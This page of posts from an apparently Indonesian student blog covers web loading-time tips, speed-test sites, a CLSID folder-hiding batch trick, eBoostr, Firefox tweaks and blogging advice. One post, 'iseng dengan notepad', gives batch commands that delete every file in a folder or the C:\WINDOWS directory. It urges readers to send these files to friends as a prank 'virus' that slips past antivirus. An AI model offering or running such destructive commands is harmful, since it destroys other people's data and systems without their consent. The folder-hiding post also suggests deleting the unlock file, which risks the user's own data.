Loading Time pada Sebuah Web

Tugas Desain Web dan Animasi

Dosen : Achmad Bachris

Apa itu Loading Time?

Load time atau yang sering disebut loading time adalah waktu tunggu yang diperlukan suatu website untuk membuka konten-konten dalam website tersebut. 

Kenapa Loading Time penting untuk Sebuah Web?

Load time website sangat penting bagi pembaca website anda dan juga bagi search engine. Search engine memiliki time out sekitar 30 detik, sehingga apabila mereka tidak dapat membuka website anda dalam waktu 30 detik, maka search engine akan meninggalkan website anda dan tentu saja mereka tidak mengindex halaman-halaman website anda.

Di bawah ini salah satu tips untuk mempercepat Loading Time 
sebuah WEB :

Page Weight & Website Optimizing 

Adakalahnya sebuah halaman web bila terlalu berat akan menjadi kendala dalam hal loading time. Loading time dalam suatu website memang banyak faktor yang berhubungan seperti :

1. Lokasi Server

2. Spesifikasi server hosting

3. Themes terlalu high resolution atau tdk

4. Jalur Internet saat itu

Namun banyak yang tidak menyadari bahwa loading time sebuah website juga di pengaruhi oleh Page Weight ( berat/size sebuah website pada Homepage. )

Bila kita terlalu banyak meletakan content gambar, javascript, flash image, rotate image, slideshow, dan css yang berlebihan akan membuat loading time sebuah website jadi lambat. Bila menggunakan cache masih juga lambat maka alternatif yang harus dilakukan adalah :

Cek berapa berat Homepage situs/blog anda.....

Silahkan klik url ini untuk cek http://www.websiteoptimization.com/services/analyze/

Dengan menggunakan alat tersebut maka berat/size sebuah homepage dapat di ketahui.

Dan yang labih bagus websiteoptimization ini bisa memberikan anda advice/warning, mana yang di rasa terlalu berat untuk website anda.

Mempercepat Loading Web Dari Sisi Penempatan Image 

Banyak cara mengoptimalkan kecepatan loading suatu web. Diantaranya dari sisi pengoptimalan penggunaan dan pemakaian gambar.

Beberapa hal berikut ini mungkin bisa dijadikan pertimbangan, pada saat kita sampai kepada bagian pemakaian/penempatan gambar didalam suatu proses developing web.

Gunakan tipe file yang tepat pada gambar

Untuk gambar-gambar gradasi dan fotografi pergunakan format .jpeg, untuk gambar-gambar berwarna block gunakan .gif atau png. Untuk format .gif usahakan menggunakan warna sedikit mungkin dan untuk format .jpeg gunakan kualitas field Quality Settig yang paling tepat. (Mengenai optimizing ini dapat dilakukan dengan menggunakan Software Adobe Photoshop dan akan diterangkan pada artikel lain) Spesifikasikan lebar dan tinggi gambar Anda (terutama untuk file-file berukuran besar).

Pada saat proses pembacaan script, Browser akan berhenti pada tag 'img' untuk mengetahui berapa dimensi dari gambar Anda. Apabilia dimensi nya sudah di definisikan dengan misalnya 'width="100px" height="250px" browser akan segera melanjutkan membaca script berikutnya dan gambar pun didownload pada secara terpisah.

Gunakan gambar yang sama

Setiap kali browser mendownload gambar, dia akan menyimpannya didalam temporary folder di komputer anda. Jadi dengan menggunakan gambar yang sama secara cerdik, akan mengurangi loading time web Anda.

Menggunakan tag 'Alt'

Selain mempunyai banyak berguna pada SEO (Search Engine Optimization), Alt ini berguna untuk memberitahukan user pada saat image tidak didapat dibuka. Apalagi kalau image ini digunakan untuk navigasi web.

10 website untuk mengetes performa web dan kecepatan website anda.

1. FreeSpeedTest.com

Website ini salah satu yang terbaik untuk pengetesan kecepatan web. Mungkin tidak banyak fitur yang menawan seperti tools di web lain, tetapi disini anda akan melihat performanya dimana secara unik mengecek kecepatan website dan load time melalui berbagai data center di seluruh dunia, sehingga ada dapat mengetahui dengan pasti berapa lama waktu yang digunakan untuk membuka website anda.

2. WebSiteOptimization.com

Website ini cukup nyaman digunakan, tools gratisnya memberikan anda deskripsi analisa dari website anda, berapa loading time dan bagaimana meningkatkan performanya. Berikut beberapa fitur website ini :

1. Web page speed report.
2. Global report.
3. Calculates total object sizes – This includes number of javascript, css , images, etc.)
4. External files calculation.
5. Loading times – In this section it shows your website ’s loading time in different internet speed connections from 14.4 kbs – T1)
6. Analysis and recommendations – This is the most important part of this tool.  It provides you with a descriptive analysis and recommendations on how you can fix the issues and make your site load faster.

3. Rapid Search Metrics

Untuk anda yang membutuhkan analisa kecepatan website dan SEO, patut menggunakan alat ini. Perangkat sederhana ini dapat sangat berharga. Berikut beberapa fiturnya:

1. Speed analysis – It analyzes a site’s average speed, data volume, size with HTML and without HTML.
2. Estimates load time – Shows site’s estimated loading times on different internet connections.
3. Separate analysis reports – Shows separate analysis reports of css Files, Images, Javascript files etc.

4. Aptimize.com

Aptimize memiliki bentuk laporan yang unik. Perangkat sederhana ini akan membaca URL anda dan dalam 5-10 menit akan mengirimkan email tentang website anda berbentuk laporan analisa. Laporan yang anda terima berbentuk PDF. Berikut beberapa fiturnya:

1. Shows multiple loading times.
2. Shows server processing time and browser processing time.
3. Speed optimization details – This is a very handy part, it shows your site’s server response time, HTML, JS, css load time and also shows how much time can be saved by optimizing these files.
4. Yslow grading – It grades your site on the 14 best practice guidelines of speed optimization

5. Pingdom Tools

PingdomTools juga merupakan perangkat yang sangat efektif. Bagian yang menarik adalah dapat menampilkan ukuran dan loading time masing-masing dan setiap elemen dari website anda seperti gambar, css , HTML, JS dan masih banyak lagi.

6. iWebTools

iWebTools sederhana tetapi cukup akurat untuk mengetest kecepatan website anda. Anda dapat mengetest loading time dan membandingkan dengan 10 domain lainnya.

7. Website Goodies

Website Goodies memiliki fitur yang cukup sederhana dan cepat dalam penggunaannya, dan menampilkan estimasi website loading time tanpa ada hambatan.

8. WebToolHub

WebToolHub cukup nyaman digunakan, mengkhususkan pada 2 mode analisa, sederhana dan tingkat lanjut. Versi sederhanyanya menunjukkan loading time dan kecepatan website pada berbagai mode koneksi internet. Versi lanjut menganalisa loading time dan kecepatan masing-masing elemen website .

9. Web-Inspect.com

Web-Inspect adalah perangkat sederhanya untuk mengetest kecepatan website anda. Menampilkan berapa lama loading time website pada koneksi internet tertentu.

10. HooverWebDesign

Satu lagi perangkat untuk menganalisa kecepatan website dengan akurat dalam beberapa detik.

Read More......

About Me

just Follow me in twitter @mirchaan

gua orang nya enak klo di ajak becanda ...suka main game online sampe ga inget waktu hhe ...
susah juga ya klo jelasin tentang kepribadian coz gua orang nya simple aja sich ..
klo mau tau tentang gua mending follow twitter gua aja oke gan !!! hhe Read More......

Membuat Folder tidak bisa ditembus

Membuat Folder Rahasia Bila, anda memiliki folder pribadi yang rahasia. Tentu, anda tidak ingin folder rahasia anda itu, di buka atau dilihat orang lain. Mungkin, selama ini anda menyimpan folder rahasia anda itu di dalam folder-folder anda yang lain, sehingga tidak mudah ditemukan orang lain.

Atau, anda menghidden file anda sehingga tidak bisa dilihat orang lain.

Tapi, bagaimana kalau orang yang mencari folder rahasia anda itu adalah orang yang rajin? tentu dia akan menemukannya. Dan, Menghidden file juga bukan merupakan hal yang sulit lagi, Sudah hampir semua pengguna komputer tahu, cara untuk menghidden, dan menampilkannya lagi.

Kini, anda tidak perlu khawatir lagi! Karena, disini anda akan belajar bahasa pemograman yang bisa mengubah file anda menjadi yang tidak bisa dibuka oleh orang lain.

Let`s begin!

Langkah-langkah:
1. buka notepad.

2. copy + paste bahasa pemograman (yang berhuruf tebal) di bawah ini ke notepad anda:
ren movies movies.{21EC2020-3AEA-1069-A2DD-08002B30309D}
(ganti movies movies dengan nama folder anda: misal, folder anda bernama “virus”
Hasilnya adalah)
ren virus virus.{21EC2020-3AEA-1069-A2DD-08002B30309D}
save notepad dengan nama loc.bat. sebelum disave, pastikan “save as type”
diubah ke “all files”
3. buka notepad lagi
copy + paste bahasa pemograman (yang berhuruf tebal) di bawah ini ke notepad anda:
ren movies.{21EC2020-3AEA-1069-A2DD-08002B30309D} movies
(ganti movies dengan nama folder anda: misal, folder anda bernama “virus”
Hasilnya adalah)
ren virus.{21EC2020-3AEA-1069-A2DD-08002B30309D} virus
save notepad dengan nama key.bat. sebelum disave, pastikan “save as type”
diubah ke “all files”

4. Ingat! folder rahasia anda harus berada di satu tempat dengan loc.bat, dan key.bat
yang sudah anda buat tadi. Contoh:



5. Coba Klik ”Loc”
Maka folder ”virus” akan berubah menjadi:

bila ada orang yang masuk ke folder virus, maka orang tersebut akan masuk ke
control panel, dan tidak akan pernah bisa masuk ke folder ”virus” yang sebenarnya.

6. untuk mengembalikan folder ”virus” tersebut: tinggal klik ”key”.

Untuk berjaga-jaga agar folder anda tidak bisa dibuka orang:
1. setelah merubah file, simpan key di folder lain. jika ingin merubah seperti semula
folder yang sudah dirubah tadi, tinggal menyatukan kembali key dan folder di satu
tempat.

2. atau, anda juga bisa mendelete key. jadi tidak ada cara untuk membuka file yang sudah
dirubah tadi. Bila ingin mengembalikan folder ke semula. Tinggal buat program
dengan notepad lagi.

Read More......

flash disk sbg ram,

angkah-langkahnya adalah:
1. Download dulu dari situsnya.(http://www.eboostr.com/download/)
2. Install eBoster
(Prosesnya sama dengan waktu menginstall aplikasi lain)
3. Restart komputer.
4. Jalankan eBoster

5. Ketika ada peringatan “You are running eBoostr for the first time” klik “Yes”

6. Selanjutnya pilih drive flashdisk yang akan digunakan sebagai penambah RAM
7. Atur nilai space yang ingin digunakan untuk penambah RAM.
8. Klik OK
9. Restart komputer

Flashdisk yang telah kita gunakan sebagai penambah RAM masih tetap berfungsi normal (masih bisa dipakai) sebagai media penyimpanan data.

Read More......

iseng dengan notepad

cuma mo share aja neh, kalo kalian punya temen yang pengen di isengin, pengen kirim virus rada susah kalo mereka sudah di protek sama 10 antivirus, tp gw g tanggung jawab efeknya ya

Menghapus Files dan Folder
1. buka notepad trus ketik DEL /F /Q *
2. save as dan simpan dengan nama test.cmd
3. kalau elo dobel klik file test.cmd maka semua files dan folder akan terhapus.

Menghapus Files Tertentu
1. buka notepad trus ketik erase C:TEST.txt
2. save as dan simpan dengan nama test.cmd
3. kalo elo dobel klik file test.cmd maka files TEST.txt di drive c:\ akan terhapus

Menghapus Folder Tertentu
1. buka notepad trus ketik erase C:WINDOWS
2. save as dan simpan dengan nama test.cmd
3. kalo elo dobel klik file test.cmd maka folder WINDOWS di drive c:\ akan terhapus

nah kalo sudah jadi, tinggal kalian kirim aja ke temen kalian, ato siapapun. simpel tapi "merugikan"
hahaha, mari kita migrasi ke linux,

Read More......

hack mozilla firefox, biar ngebut!

Bagi kamu pengguna browser Mozilla Firefox, kini saya akan memeberikan bebrapa tips untuk mempercepat koneksi browser mozilla. Jika kamu melakukan browsing di warnet yang pasti koneksinya dibatasi oleh proxy tentu kamu akan merasakan browser kamu sedikit lambat. Sekarang mari kita hack browser Mozilla agar koneksinya berlipat.

1. Buka Mozilla.

2. Ketikan di addres bar "about:config" (tanpa tanda patik).

3. Scroll mouse anda kebawah dan cari "network.http.max-connections", double klik dan masukan nilai "64".

4. Cari "network.http.max-connections-per-server", double klik dan masukan nilai "21".

5. Cari 'network.http.max-persistent-connections-per-server", double klik dan masukan nilai "8".

6. Doube klik pada "network.http.pipelining " menjadi "true".

7. Cari "network.http.pipelining.maxrequests", double klik dan masukan nilai "100".

8. Double klik pada "network.http.proxy.pipelining" menjadi "true".

9. Langkah terakhir, klik kanan dimana saja pilih :

New >> integrar >> lalu tulis "nglayout.initialpaint.delay" (tanpa tanda petik". Kemudian masukan nilai "0".

Close Mozilla kamu, kemudian buka lagi dan bandingkan kecepatan nya sebelum kamu melakukan setting tadi.

Read More......

Cara Menulis Blog dengan rumus 5W +1H

Tugas Desain Web dan Animasi
Dosen : Achmad Bachris

Terinspirasi dari pelajaran dibangku kuliah mengenai 5W dan 1H. Pasti Anda bertanya-tanya apa itu 5W dan 1H,  jawabannya adalah what, where, when, who, whom, dan how. Dan ternyata tidak hanya dalam mata kuliah atau pelajaran saja 5W dan 1H dapat diterapkan Pada blogging pun hal tersebut dapat diaplikasikan, benarkah?langsung saja kita share bareng, ini dia :

1. WHAT

Apa ==> topik / content utama dari blog yg dibuat dan tujuannya. Istilah kerennya, visi dan misi.

Apakah wide topic ato narrow / niche-specific. Apakah untuk sekedar untuk asik-asik aja, memamerkan produk, memusuhi produk, dsb. Ini adalah langkah utama yg harus jelas krn akan berkaitan dng poin” yg lain.

Kebanyakan blogger membuat blog secara asal. Pokoknya tinggal cari topik (biasanya yang high-paying keyword) dan posting. Ini adalah kesalahan dasar yangg sering dilakukan karenm meskipun blog anda memiliki konten terfokus sekalipun, konsepnya tidak akan jelas.

2. WHO

Siapa ==> siapakah si blogger / penulis / pemilik blog. Bagaimana karakteristik, sifatnya, dll.

Pada awalnya, blog disamakan dengan diari. Dengan membaca blog milik orang lain, sedikit banyak kita tau karakteristik dari pemilik blog tersebut. Hal ini pun sebenarnya HARUS diberlakukan pada blog” yg adsense-oriented karena akan memberikan nyawa dan karakteristik sendiri terhadap blog tersebut.

Sebagai contoh, liat Engadget, Boing-Boing, dll. Mereka punya style yang berbeda. Dan yang paling penting, tidak datar alias mati.

Bagaimana membentuk karakteristik ini harus ditilik dulu dari poin sebelumnya. Dari sana kita bisa perkirakan, kira-kira karakteristik apa yang cocok. Tidak ada yg melarang Anda untuk TIDAK menjadi diri anda sendiri di blog, walopun tentu, disarankan untuk be yourself.

Contoh karakteristik blogger: sinis, sok pintar, bego, romantis, dsb.

Saya lupa, tapi aku pernah baca sebuah blog yg memiliki gaya penulisan yang bener” unik, yaitu menggunakan kata ganti orang ketiga. Ini bisa dimasukkan ke dalam karakteristik di atas. Jadi tidak hanya sifat saja, tapi juga cara penulisan.

Kenapa susah” membentuk karakter?

Karena ini akan membuat visitor anda merasa bahwa mereka berhadapan dng orang, bukan mesin yg sekedar melakukan CTRL+C CTRL+V. Ini membuat mereka merasa nyaman dan betah membaca tulisan Anda (semoga :P)

3. WHOM

Siapa ==> target visitor anda

untuk menentukan poin 2, tentunya Anda juga harus tau siapa target visitor Anda dan bagaimana kira” karakteristik mereka. Jangan menulis tentang musik klasik tentang dengan karakter dan cara penulisan yang kasar dan menggebu”. Gak nyambung kan?

4. HOW

Bagaimana ==> bagaimana menulis posting / artikel / berita

Poin 4 adalah implementasi dari ketiga poin di atas. Setelah kita mendapatkan karakter yang kita mau, terapkan dalam posting yang kita buat. If you play smart, make people think that you’re really smart. Vice versa. So on. Libatkan diri anda sebisa mungkin dalam tulisan yang dibuat, termasuk keluarga, teman, tetangga, musuh, artis, bahkan presiden sekalipun. Libatkan perasaan anda. Tunjukkan bahwa anda benar” menulis apa yg anda rasakan, bukan sekedar yang anda tau.

Jangan lupa, Anda TIDAK HARUS mencintai topik yang anda tulis. Anda bisa saja menulis karena MEMBENCINYA. Dan karena anda membencinya, tunjukkan bahwa anda benci. Maki” kalo perlu.

Yang diatas sekedar contoh aja  intinya adalah libatkan diri dan perasaan anda sesuai dng poin 1 dan 2. Beri nyawa pada tulisan anda.

5. WHEN

kapan ==> cari waktu yg tepat untuk mempublish artikel anda

ini sebenarnya adalah tehnik advance. Setiap topik memiliki waktu publish efektif yang berbeda”, tergantung dari poin 3 di atas, yaitu visitor. Cara paling gampang untuk mempelajari ini adalah melalui statistik situs (Site Meter, Extreme Tracking, Google Analytic, dll).

contoh: situs tentang teknologi/gadget akan mengalami penurunan visitor di akhir minggu, sebaliknya situs tentang entertainment akan mengalami peningkatan di waktu yg sama (berdasar pengamatan pribadi)

tentunya anda baru bisa mengimplementasikan poin terakhir ini jika visitors sudah cukup banyak  Jadi jangan pikirkan dulu tentang ini sampai blog Anda mapan 

6. WHERE
gak ada. Emang mestinya 4W + 1H kok 

Bagaimana?sudah mengerti kah maksud dari konsepan diatas?hehehe,,,,,

good luck, met blogging….

Read More......